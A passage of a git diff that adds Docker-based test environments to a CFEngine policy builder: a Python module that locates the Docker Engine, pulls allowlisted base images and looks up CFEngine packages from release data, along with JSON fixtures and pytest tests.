b/python/cfpb_backend.py @@ -338,6 +338,35 @@ def compile_command() -> int: return 0 +def testenv_command(action: str) -> int: + """Test environments (cfpb_testenv): `doctor`, `images`, `package` answer with one JSON object; + `pull` streams events, one JSON object per line, ending with a `done` or `error` event.""" + import cfpb_testenv + + try: + query = json.loads(sys.stdin.read() or "{}") if action in ("package", "pull") else {} + if not isinstance(query, dict): + raise cfpb_testenv.RunnerError("Expected a JSON object on stdin") + if action == "pull": + image = query.get("image") + if image not in {p["image"] for p in cfpb_testenv.PLATFORMS.values()}: + raise cfpb_testenv.RunnerError(f"Not a supported base image: {image}") + cfpb_testenv.pull(image) + cfpb_testenv.emit("done") + return 0 + result = {"doctor": cfpb_testenv.doctor, "images": cfpb_testenv.images}.get(action) + print(json.dumps(result() if result else cfpb_testenv.package(query))) + return 0 + except (json.JSONDecodeError, cfpb_testenv.RunnerError) as error: + message = str(error) + except Exception as error: # Docker SDK / network errors: one line for the UI + message = f"{type(error).__name__}: {error}" + if action == "pull": + cfpb_testenv.emit("error", message=message) + print(message, file=sys.stderr) + return 1 + + def main(argv: list[str] | None = None) -> int: # Windows would otherwise decode stdio with the ANSI code page. for stream in (sys.stdin, sys.stdout, sys.stderr): @@ -350,7 +379,11 @@ def main(argv: list[str] | None = None) -> int: commands.add_parser("init", help="create a cfbs project") commands.add_parser("compile", help="generate policy from the builder's project data") commands.add_parser("masterfiles", help="the masterfiles build entry for a version") + testenv = commands.add_parser("testenv", help="test environments (Docker hosts)") + testenv.add_argument("action", choices=["doctor", "images", "package", "pull"]) args = parser.parse_args(sys.argv[1:] if argv is None else argv) + if args.command == "testenv": + return testenv_command(args.action) commands = {"init": init_command, "compile": compile_command, "masterfiles": masterfiles_command} return commands.get(args.command, format_command)() diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py new file mode 100644 index 0000000..c4ff348 --- /dev/null +++ b/python/cfpb_testenv.py @@ -0,0 +1,223 @@ +"""Test environments: Docker containers that run the generated policy (the Test Results & Logs tab). + +Talks to the Docker Engine through the official SDK. Long operations stream their progress as +one JSON event per line on stdout (see `emit`); everything else answers with one JSON object. +""" + +from __future__ import annotations + +import hashlib +import json +import os +import re +import shutil +import sys +import urllib.request +from pathlib import Path + +# The base images a host can run, and the CFEngine package platform each one takes. +PLATFORMS = { + "ubuntu-22": {"label": "Ubuntu 22.04", "image": "ubuntu:22.04", "package": "ubuntu_22"}, + "ubuntu-24": {"label": "Ubuntu 24.04", "image": "ubuntu:24.04", "package": "ubuntu_24"}, + "debian-12": {"label": "Debian 12", "image": "debian:12", "package": "debian_12"}, +} +RELEASES = "https://cfengine.com/release-data/{edition}/releases.json" +HTTP_TIMEOUT = 20 + + +class RunnerError(Exception): + """A problem worth showing as is (the sidecar's one-line summary).""" + + +def emit(event: str, **fields) -> None: + """One streamed event: a JSON object per line, flushed so main sees it at once.""" + try: + print(json.dumps({"t": event, **fields}), flush=True) + except BrokenPipeError: + # Nobody's reading any more (the run was cancelled): stop without a traceback. + os._exit(1) + + +# --- the Docker Engine ------------------------------------------------------ + + +def _context_host(home: Path, environ: dict) -> str | None: + """The endpoint of the current docker context (`docker context use`), unless it's "default".""" + name = environ.get("DOCKER_CONTEXT") + if not name: + try: + name = json.loads((home / ".docker" / "config.json").read_text()).get("currentContext") + except (OSError, ValueError): + return None + if not name or name == "default": + return None + meta = home / ".docker" / "contexts" / "meta" / hashlib.sha256(name.encode()).hexdigest() / "meta.json" + try: + return json.loads(meta.read_text())["Endpoints"]["docker"]["Host"] + except (OSError, ValueError, KeyError, TypeError): + return None + + +def docker_host(home: Path | None = None, environ: dict | None = None) -> str | None: + """Where the Docker Engine listens: DOCKER_HOST, the current context, or the first socket + that exists. docker.from_env() only knows DOCKER_HOST and /var/run/docker.sock, which misses + Docker Desktop (~/.docker/run), Colima and OrbStack.""" + home = home or Path.home() + environ = os.environ if environ is None else environ + if environ.get("DOCKER_HOST"): + return environ["DOCKER_HOST"] + context = _context_host(home, environ) + if context: + return context + if sys.platform == "win32": + return "npipe:////./pipe/docker_engine" + for socket in ( + Path("/var/run/docker.sock"), + home / ".docker/run/docker.sock", + home / ".colima/default/docker.sock", + home / ".orbstack/run/docker.sock", + home / ".rd/docker.sock", + ): + if socket.exists(): + return f"unix://{socket}" + return None + + +def client(): + import docker + + host = docker_host() + if host is None: + raise RunnerError("Docker isn't installed (no Docker Engine socket found)") + return docker.DockerClient(base_url=host, timeout=30) + + +def _docker_installed() -> bool: + apps = [Path("/Applications/Docker.app"), Path("/Applications/OrbStack.app")] + return bool(shutil.which("docker") or shutil.which("colima") or any(app.exists() for app in apps)) + + +def doctor() -> dict: + """Docker's state for the tab: available, or why not (not installed / not running).""" + host = docker_host() + if host is None: + problem = "not_running" if _docker_installed() else "not_installed" + message = "Start Docker, then retry." if problem == "not_running" else "Install Docker to run test hosts." + return {"available": False, "problem": problem, "message": message, "host": None} + try: + engine = client() + engine.ping() + info = engine.info() + version = engine.version().get("Version") + except Exception as error: # the SDK raises several types for a dead socket + return { + "available": False, + "problem": "not_running", + "message": f"Docker isn't responding: {error}", + "host": host, + } + return { + "available": True, + "problem": None, + "message": f"Docker {version} ({info.get('OperatingSystem')}, {info.get('Architecture')})", + "host": host, + "version": version, + "arch": info.get("Architecture"), + } + + +def images() -> dict: + """Each platform's base image, and whether it's pulled already.""" + engine = client() + present = {tag for image in engine.images.list() for tag in image.tags} + return { + "platforms": [ + {"id": key, "label": p["label"], "image": p["image"], "present": p["image"] in present} + for key, p in PLATFORMS.items() + ] + } + + +def pull(image: str) -> None: + """Pulls an image, streaming `progress` events (bytes over all layers) and `log` lines.""" + repository, _, tag = image.partition(":") + layers: dict[str, tuple[int, int]] = {} + last = -1 + for status in client().api.pull(repository, tag=tag or "latest", stream=True, decode=True): + if "error" in status: + raise RunnerError(status["error"]) + detail = status.get("progressDetail") or {} + if status.get("id") and detail.get("total"): + layers[status["id"]] = (detail.get("current", 0), detail["total"]) + elif status.get("id") and status.get("status") in ("Pull complete", "Already exists"): + total = layers.get(status["id"], (0, 0))[1] + layers[status["id"]] = (total, total) + current, total = sum(c for c, _ in layers.values()), sum(t for _, t in layers.values()) + percent = int(current * 100 / total) if total else 0 + if percent != last: + last = percent + emit("progress", current=current, total=total) + if not detail: + emit("log", line=" ".join(str(status[k]) for k in ("id", "status") if status.get(k))) + + +# --- CFEngine packages ------------------------------------------------------ + + +def _fetch_json(url: str): + try: + with urllib.request.urlopen(url, timeout=HTTP_TIMEOUT) as response: + return json.load(response) + except (OSError, ValueError) as error: + raise RunnerError(f"Couldn't read {url}: {error}") from error + + +def _matches(classexpr: str, platform: str, arch: str) -> bool: + # e.g. "(redhat_9|centos_9).x86_64", "am_policy_hub.ubuntu_22.aarch64" + expr = classexpr.removeprefix("!").removeprefix("am_policy_hub.") + systems, _, expr_arch = expr.rpartition(".") + return expr_arch == arch and platform in re.findall(r"[a-z]+_\d+", systems) + + +def find_package(releases: dict, detail_of, edition: str, version: str, platform: str, arch: str, hub: bool) -> dict: + """The package for a host, from CFEngine's release data (what cf-remote reads). + `version`: an exact release, or "latest" for the latest stable one.""" + entries = [r for r in releases.get("releases", []) if not r.get("debug")] + if version == "latest": + entry = next((r for r in entries if r.get("latest_stable")), None) + else: + entry = next((r for r in entries if r.get("version") == version), None) + if entry is None: + raise RunnerError(f"No CFEngine {edition} release {version}") + detail = detail_of(entry["URL"]) + for items in detail.get("artifacts", {}).values(): + for item in items: + expr = item.get("classexpr", "") + if edition == "enterprise" and expr.startswith("am_policy_hub.") != hub: + continue + if _matches(expr, platform, arch): + return { + "url": item["URL"], + "sha256": item.get("SHA256"), + "version": entry["version"], + "filename": item["URL"].rsplit("/", 1)[1], + } + role = " hub" if edition == "enterprise" and hub else "" + raise RunnerError(f"No CFEngine {edition}{role} {entry['version']} package for {platform} ({arch})") + + +def package(query: dict) -> dict: + edition = query.get("edition", "community") + if edition not in ("community", "enterprise"): + raise RunnerError(f"Unknown edition: {edition}") + platform = PLATFORMS.get(query.get("platform", ""), {}).get("package") or query.get("platform", "") + releases = _fetch_json(RELEASES.format(edition=edition)) + return find_package( + releases, + _fetch_json, + edition, + query.get("version", "latest"), + platform, + query.get("arch", "x86_64"), + bool(query.get("hub")), + ) diff --git a/python/pyproject.toml b/python/pyproject.toml index ff073c2..7a5263b 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -10,6 +10,8 @@ dependencies = [ # for policy generation. cf-remote comes along transitively but is # deliberately not imported — see the notes in cfpb-backend.spec. "cfengine>=0.20.0", + # Test environments (cfpb_testenv.py): the official Docker SDK, talking to the Engine socket. + "docker>=7.1", ] [project.scripts] @@ -32,7 +34,7 @@ requires = ["hatchling"] build-backend = "hatchling.build" [tool.hatch.build.targets.wheel] -only-include = ["cfpb_backend.py", "cfpb_compiler.py"] +only-include = ["cfpb_backend.py", "cfpb_compiler.py", "cfpb_testenv.py"] [tool.pytest.ini_options] testpaths = ["tests"] diff --git a/python/tests/fixtures/releases/enterprise-3.27.1.json b/python/tests/fixtures/releases/enterprise-3.27.1.json new file mode 100644 index 0000000..5e90697 --- /dev/null +++ b/python/tests/fixtures/releases/enterprise-3.27.1.json @@ -0,0 +1,331 @@ +{ + "project": "enterprise", + "version": "3.27.1 LTS (supported until December 2028)", + "artifacts": { + "Policy Server": [ + { + "Title": "Debian 11", + "Arch": "x86_64", + "classexpr": "am_policy_hub.debian_11.x86_64", + "Published": false, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_11_x86_64/cfengine-nova-hub_3.27.1-1.debian11_amd64.deb", + "SHA256": "36163566b49baccc3160cfc4317003fa1d1682d2d7a418de9f25497a869f5aef", + "package": "PACKAGES_HUB_x86_64_linux_debian_11" + }, + { + "Title": "Debian 11", + "Arch": "aarch64", + "classexpr": "am_policy_hub.debian_11.aarch64", + "Published": false, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_11_arm_64/cfengine-nova-hub_3.27.1-1.debian11_arm64.deb", + "SHA256": "0d10391efbe179fc6b7d579f51eb2aac5d3bd83542b7ff1fa6d07d6d200f41fc", + "package": "PACKAGES_HUB_arm_64_linux_debian_11" + }, + { + "Title": "Debian 12", + "Arch": "x86_64", + "classexpr": "am_policy_hub.debian_12.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_12_x86_64/cfengine-nova-hub_3.27.1-1.debian12_amd64.deb", + "SHA256": "ed723e7bce0dc974e5ea2aea2501493c3ae29664f1fa6f1b887df13eb9639af2", + "package": "PACKAGES_HUB_x86_64_linux_debian_12" + }, + { + "Title": "Debian 12", + "Arch": "aarch64", + "classexpr": "am_policy_hub.debian_12.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_12_arm_64/cfengine-nova-hub_3.27.1-1.debian12_arm64.deb", + "SHA256": "b3c95ee77312778bca3661c53d5deb1db95d0a380acd3c6d824d96564bc5c3b6", + "package": "PACKAGES_HUB_arm_64_linux_debian_12" + }, + { + "Title": "Debian 13", + "Arch": "x86_64", + "classexpr": "am_policy_hub.debian_13.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_13_x86_64/cfengine-nova-hub_3.27.1-1.debian13_amd64.deb", + "SHA256": "1957cfaac84502ab2429a4347934324836f52022283e082b0e4fa2f94c96d967", + "package": "PACKAGES_HUB_x86_64_linux_debian_13" + }, + { + "Title": "Debian 13", + "Arch": "aarch64", + "classexpr": "am_policy_hub.debian_13.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/debian_13_arm_64/cfengine-nova-hub_3.27.1-1.debian13_arm64.deb", + "SHA256": "b64f30407e4c0275ced01b91334b020b6d35f354959545418bc48cbc9a00da09", + "package": "PACKAGES_HUB_arm_64_linux_debian_13" + }, + { + "Title": "Red Hat / CentOS 8", + "Arch": "x86_64", + "classexpr": "am_policy_hub.(redhat_8|centos_8).x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/redhat_8_x86_64/cfengine-nova-hub-3.27.1-1.el8.x86_64.rpm", + "SHA256": "f7251418536e0f295cba0a6ffb90764aafe05d329a765e32e115aa93e4dc91b7", + "package": "PACKAGES_HUB_x86_64_linux_redhat_8" + }, + { + "Title": "Red Hat 9", + "Arch": "x86_64", + "classexpr": "am_policy_hub.redhat_9.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/redhat_9_x86_64/cfengine-nova-hub-3.27.1-1.el9.x86_64.rpm", + "SHA256": "301823955e1b1c15b937ca300ff904a43637f16df0dbb3efe7d4582bbd7fccdb", + "package": "PACKAGES_HUB_x86_64_linux_redhat_9" + }, + { + "Title": "Red Hat 10", + "Arch": "x86_64", + "classexpr": "am_policy_hub.redhat_10.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/redhat_10_x86_64/cfengine-nova-hub-3.27.1-1.el10.x86_64.rpm", + "SHA256": "0ebcfbec6f3bf45f1d3aa652ab4392bbde14f0f3dc7569e53b23fe25f5c11f2d", + "package": "PACKAGES_HUB_x86_64_linux_redhat_10" + }, + { + "Title": "Red Hat 10", + "Arch": "aarch64", + "classexpr": "am_policy_hub.redhat_10.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/redhat_10_arm_64/cfengine-nova-hub-3.27.1-1.el10.aarch64.rpm", + "SHA256": "956a6964629b7c383000e3cfd32a9ada8fd72ce5859a7888a11c6d0f7c6d6170", + "package": "PACKAGES_HUB_arm_64_linux_redhat_10" + }, + { + "Title": "Ubuntu 20", + "Arch": "x86_64", + "classexpr": "am_policy_hub.ubuntu_20.x86_64", + "Published": false, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/ubuntu_20_x86_64/cfengine-nova-hub_3.27.1-1.ubuntu20_amd64.deb", + "SHA256": "14ccd765edf945a327b199417930b4ec0b5cd4acd4593466aa88cda8f8ec3c6c", + "package": "PACKAGES_HUB_x86_64_linux_ubuntu_20" + }, + { + "Title": "Ubuntu 22", + "Arch": "x86_64", + "classexpr": "am_policy_hub.ubuntu_22.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/ubuntu_22_x86_64/cfengine-nova-hub_3.27.1-1.ubuntu22_amd64.deb", + "SHA256": "b0b8915976eae4dc5687fde013310af858e2fc151593d774fd279dcde35aa1a4", + "package": "PACKAGES_HUB_x86_64_linux_ubuntu_22" + }, + { + "Title": "Ubuntu 22", + "Arch": "aarch64", + "classexpr": "am_policy_hub.ubuntu_22.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/ubuntu_22_arm_64/cfengine-nova-hub_3.27.1-1.ubuntu22_arm64.deb", + "SHA256": "bb0b10bc773afd1572f121d377ac688569293a1cff01ca4fffc83ec96a992bfe", + "package": "PACKAGES_HUB_arm_64_linux_ubuntu_22" + }, + { + "Title": "Ubuntu 24", + "Arch": "x86_64", + "classexpr": "am_policy_hub.ubuntu_24.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/ubuntu_24_x86_64/cfengine-nova-hub_3.27.1-1.ubuntu24_amd64.deb", + "SHA256": "f694fe0df11b9d8daf14f37a06ded842f2490eff169ffc20e1e4f58258ffc857", + "package": "PACKAGES_HUB_x86_64_linux_ubuntu_24" + }, + { + "Title": "Ubuntu 24", + "Arch": "aarch64", + "classexpr": "am_policy_hub.ubuntu_24.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/ubuntu_24_arm_64/cfengine-nova-hub_3.27.1-1.ubuntu24_arm64.deb", + "SHA256": "dcd577a1ebc3378b08bc40689b81811b94e02060b3157c6519ff87df954838c2", + "package": "PACKAGES_HUB_arm_64_linux_ubuntu_24" + } + ], + "Hosts (Clients)": [ + { + "Title": "Debian 11", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.debian_11.x86_64", + "Published": false, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian11_x86_64/cfengine-nova_3.27.1-1.debian11_amd64.deb", + "SHA256": "86236a3cd5b4b5d979dce9f4417afa988ca57f3556dfdb2546f168146803d9fd", + "package": "PACKAGES_x86_64_linux_debian_11" + }, + { + "Title": "Debian 11", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.debian_11.aarch64", + "Published": false, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian11_arm_64/cfengine-nova_3.27.1-1.debian11_arm64.deb", + "SHA256": "e549563707d5391aa7e85e1d11a8d7f3b8d48b10a343329b3a7f083160e83928", + "package": "PACKAGES_arm_64_linux_debian_11" + }, + { + "Title": "Debian 12", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.debian_12.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian12_x86_64/cfengine-nova_3.27.1-1.debian12_amd64.deb", + "SHA256": "6af1139ce09921d074ee029a4c5d1b3c853b8e99915c6e585803370cbb5fc508", + "package": "PACKAGES_x86_64_linux_debian_12" + }, + { + "Title": "Debian 12", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.debian_12.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian12_arm_64/cfengine-nova_3.27.1-1.debian12_arm64.deb", + "SHA256": "621d5ff44dd40b597b30c9fdedb402ae629bb7acbc6ed00d2088a10fd0e9e88a", + "package": "PACKAGES_arm_64_linux_debian_12" + }, + { + "Title": "Debian 13", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.debian_13.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian13_x86_64/cfengine-nova_3.27.1-1.debian13_amd64.deb", + "SHA256": "48a13eafbac706908e1df7a6b4ed6884049f3baba4953c0159f913e8409561d9", + "package": "PACKAGES_x86_64_linux_debian_13" + }, + { + "Title": "Debian 13", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.debian_13.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_debian13_arm_64/cfengine-nova_3.27.1-1.debian13_arm64.deb", + "SHA256": "1eff1d5fb28bf1f266f7448871664405bd3ff74aa20b0614cae2d950b95c0646", + "package": "PACKAGES_arm_64_linux_debian_13" + }, + { + "Title": "Ubuntu 20.04", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.ubuntu_20.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_ubuntu20_x86_64/cfengine-nova_3.27.1-1.ubuntu20_amd64.deb", + "SHA256": "1581429587fef028d85e52f961daea2dd955cb77ac49f7101120dc30e3c55ebe", + "package": "PACKAGES_x86_64_linux_ubuntu_20" + }, + { + "Title": "Ubuntu 22.04", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.ubuntu_22.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_ubuntu22_x86_64/cfengine-nova_3.27.1-1.ubuntu22_amd64.deb", + "SHA256": "6f93904800bdf3f10f570d8d9aca19b264291f35f18fb886dddb99f7164e3bba", + "package": "PACKAGES_x86_64_linux_ubuntu_22" + }, + { + "Title": "Ubuntu 22.04", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.ubuntu_22.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_ubuntu22_arm_64/cfengine-nova_3.27.1-1.ubuntu22_arm64.deb", + "SHA256": "49e93da0399ba7e96caaa04d3f18654677225dc5f3f5e4cc5e100669165e11cc", + "package": "PACKAGES_arm_64_linux_ubuntu_22" + }, + { + "Title": "Ubuntu 24.04", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.ubuntu_24.aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_ubuntu24_arm_64/cfengine-nova_3.27.1-1.ubuntu24_arm64.deb", + "SHA256": "f8a6b5e2a6c429a7336ad485fa8a706d6e64735b77bd9fe04be594f0e3e50703", + "package": "PACKAGES_arm_64_linux_ubuntu_24" + }, + { + "Title": "Ubuntu 24.04", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.ubuntu_24.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_ubuntu24_x86_64/cfengine-nova_3.27.1-1.ubuntu24_amd64.deb", + "SHA256": "dd1bc8517099e82b1a5c6d11cfc6c9920e2b7a353bfa300196de8c2079cc760d", + "package": "PACKAGES_x86_64_linux_ubuntu_24" + }, + { + "Title": "Red Hat / CentOS 7", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.(redhat_7|centos_7).x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_rhel7_x86_64/cfengine-nova-3.27.1-1.el7.x86_64.rpm", + "SHA256": "280e07a6683742b0d935953a02e322498c246ab650b05db55d4efca43ca3fae2", + "package": "PACKAGES_x86_64_linux_redhat_7" + }, + { + "Title": "Red Hat / CentOS 8.1", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.(redhat_8|centos_8).x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_rhel8_x86_64/cfengine-nova-3.27.1-1.el8.x86_64.rpm", + "SHA256": "63846675ecc655c464c3829fc3e2c7ec61b891daae4dffcd8abd40043b6168c6", + "package": "PACKAGES_x86_64_linux_redhat_8" + }, + { + "Title": "Red Hat / CentOS 9", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.(redhat_9|centos_9).x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_rhel9_x86_64/cfengine-nova-3.27.1-1.el9.x86_64.rpm", + "SHA256": "967242e12ef6c160d9865bddc88c839cd393b798726777e1c3b5e684bc4225eb", + "package": "PACKAGES_x86_64_linux_redhat_9" + }, + { + "Title": "Red Hat / CentOS 10", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.(redhat_10|centos_10).x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_rhel10_x86_64/cfengine-nova-3.27.1-1.el10.x86_64.rpm", + "SHA256": "0b0c6f34fdb986d174bf8afc5116706e383d65a46cff5e0fa6e9ca976fdafe3e", + "package": "PACKAGES_x86_64_linux_redhat_10" + }, + { + "Title": "Red Hat / CentOS 10", + "Arch": "aarch64", + "classexpr": "!am_policy_hub.(redhat_10|centos_10).aarch64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/agent_rhel10_arm_64/cfengine-nova-3.27.1-1.el10.aarch64.rpm", + "SHA256": "05dabde63f24e7d25c55186354346782ae1add23004783ca2731547a6af6060a", + "package": "PACKAGES_arm_64_linux_redhat_10" + }, + { + "Title": "Windows Server 2012", + "Arch": "x86_64", + "classexpr": "!am_policy_hub.windows.x86_64", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/agent/windows_x86_64/cfengine-nova-3.27.1-1-x86_64.msi", + "SHA256": "e1d78b5890127a15b824ba97be650f04123a5d6e5f2d2e55ae86e13c5d8bd021", + "package": "PACKAGES_x86_64_mingw" + } + ], + "Additional Assets": [ + { + "Title": "Masterfiles ready-to-install tarball", + "Arch": "no arch", + "classexpr": "!any", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/misc/cfengine-masterfiles-3.27.1-1.pkg.tar.gz", + "SHA256": "7b86df2c24b0a06d1dfac0355cec59325d79ce5cee29b19bc59f064f70fd8ae9", + "package": "PACKAGES_VIRTUAL_PACKAGES_masterfiles" + }, + { + "Title": "Linux binary tarball (unsupported)", + "Arch": "x86_64", + "classexpr": "!any", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/misc/cfengine-nova-3.27.1-1.x86_64.pkg.tar.gz", + "SHA256": "9374679c9020af6f3c4a451fdde0e7cbe004a89293eaa9adbc9f57cca420bbbe", + "Footnote": 1, + "Instructions": "https://docs.cfengine.com/docs/3.27/getting-started-installation-general-installation-installation-enterprise-generic-tarball.html" + }, + { + "Title": "Vagrant Environment", + "Arch": "Linux/Mac/Windows (Virtualbox)", + "classexpr": "!any", + "Published": true, + "URL": "https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/misc/CFEngine_Enterprise_vagrant_quickstart-3.27.1-1.tar.gz", + "SHA256": "68a570c43c44cfe5f0d1b4613a52b72530b992b207f731bd25f79255da5fe4a3", + "Instructions": "https://docs.cfengine.com/docs/3.27/getting-started-installation-general-installation-installation-enterprise-vagrant.html" + } + ] + }, + "footnotes": [ + "Tarball containing compiled CFEngine host (client) binaries that runs on most Linux systems but are not optimized for specific library or platform features. Appropriate for testing purposes. Not supported under the CFEngine support contract." + ] +} diff --git a/python/tests/fixtures/releases/enterprise-releases.json b/python/tests/fixtures/releases/enterprise-releases.json new file mode 100644 index 0000000..4400a0c --- /dev/null +++ b/python/tests/fixtures/releases/enterprise-releases.json @@ -0,0 +1,73 @@ +{ + "lts_branches": [ + { + "supported_until": "2028-12", + "branch_name": "3.27.x" + }, + { + "supported_until": "2027-08", + "branch_name": "3.24.x" + }, + { + "supported_until": "2025-12", + "branch_name": "3.21.x" + }, + { + "supported_until": "2024-08", + "branch_name": "3.18.x" + }, + { + "supported_until": "2022-12", + "branch_name": "3.15.x" + }, + { + "supported_until": "2022-12", + "branch_name": "master" + }, + { + "supported_until": "2021-08", + "branch_name": "3.12.x" + }, + { + "supported_until": "2019-12", + "branch_name": "3.10.x" + }, + { + "supported_until": "2018-08", + "branch_name": "3.7.x" + } + ], + "releases": [ + { + "version": "master", + "URL": "https://cfengine-package-repos.s3.amazonaws.com/release-data/enterprise/master.json", + "debug": true, + "release_date": "nightly", + "alpha": true + }, + { + "version": "3.28.0", + "URL": "https://cfengine-package-repos.s3.amazonaws.com/release-data/enterprise/3.28.0.json", + "debug": false, + "release_date": "2026-07-10", + "latest": true, + "latest_stable": true + }, + { + "version": "3.27.x", + "URL": "https://cfengine-package-repos.s3.amazonaws.com/release-data/enterprise/3.27.x.json", + "debug": true, + "release_date": "nightly", + "lts_branch": "3.27.x" + }, + { + "version": "3.27.1", + "URL": "https://cfengine-package-repos.s3.amazonaws.com/release-data/enterprise/3.27.1.json", + "debug": false, + "release_date": "2026-05-08", + "lts_branch": "3.27.x", + "latest_on_branch": true, + "latestLTS": true + } + ] +} \ No newline at end of file diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py new file mode 100644 index 0000000..3c39fb4 --- /dev/null +++ b/python/tests/test_testenv.py @@ -0,0 +1,89 @@ +"""Test environments: finding the Docker Engine and the CFEngine package for a host.""" + +from __future__ import annotations + +import hashlib +import json +from pathlib import Path + +import pytest + +import cfpb_testenv +from cfpb_testenv import RunnerError, docker_host, find_package + +RELEASES = Path(__file__).parent / "fixtures" / "releases" + + +def _context(home: Path, name: str, host: str) -> None: + (home / ".docker").mkdir(parents=True, exist_ok=True) + (home / ".docker" / "config.json").write_text(json.dumps({"currentContext": name})) + meta = home / ".docker" / "contexts" / "meta" / hashlib.sha256(name.encode()).hexdigest() + meta.mkdir(parents=True) + (meta / "meta.json").write_text(json.dumps({"Name": name, "Endpoints": {"docker": {"Host": host}}})) + + +def test_docker_host_prefers_docker_host_then_the_current_context(tmp_path: Path): + _context(tmp_path, "desktop-linux", "unix:///Users/x/.docker/run/docker.sock") + + assert docker_host(tmp_path, {"DOCKER_HOST": "tcp://10.0.0.1:2375"}) == "tcp://10.0.0.1:2375" + assert docker_host(tmp_path, {}) == "unix:///Users/x/.docker/run/docker.sock" + + +def test_docker_host_falls_back_to_a_socket_that_exists(tmp_path: Path, monkeypatch): + monkeypatch.setattr(cfpb_testenv.sys, "platform", "darwin") + _context(tmp_path, "default", "unix:///var/run/docker.sock") + socket = tmp_path / ".colima/default/docker.sock" + socket.parent.mkdir(parents=True) + socket.touch() + monkeypatch.setattr(cfpb_testenv.Path, "exists", lambda p: str(p) == str(socket)) + + assert docker_host(tmp_path, {}) == f"unix://{socket}" + + +def test_without_any_socket_docker_is_reported_missing(tmp_path: Path, monkeypatch): + monkeypatch.setattr(cfpb_testenv, "docker_host", lambda: None) + monkeypatch.setattr(cfpb_testenv, "_docker_installed", lambda: False) + + assert cfpb_testenv.doctor() == { + "available": False, + "problem": "not_installed", + "message": "Install Docker to run test hosts.", + "host": None, + } + + +def _find(version="3.27.1", 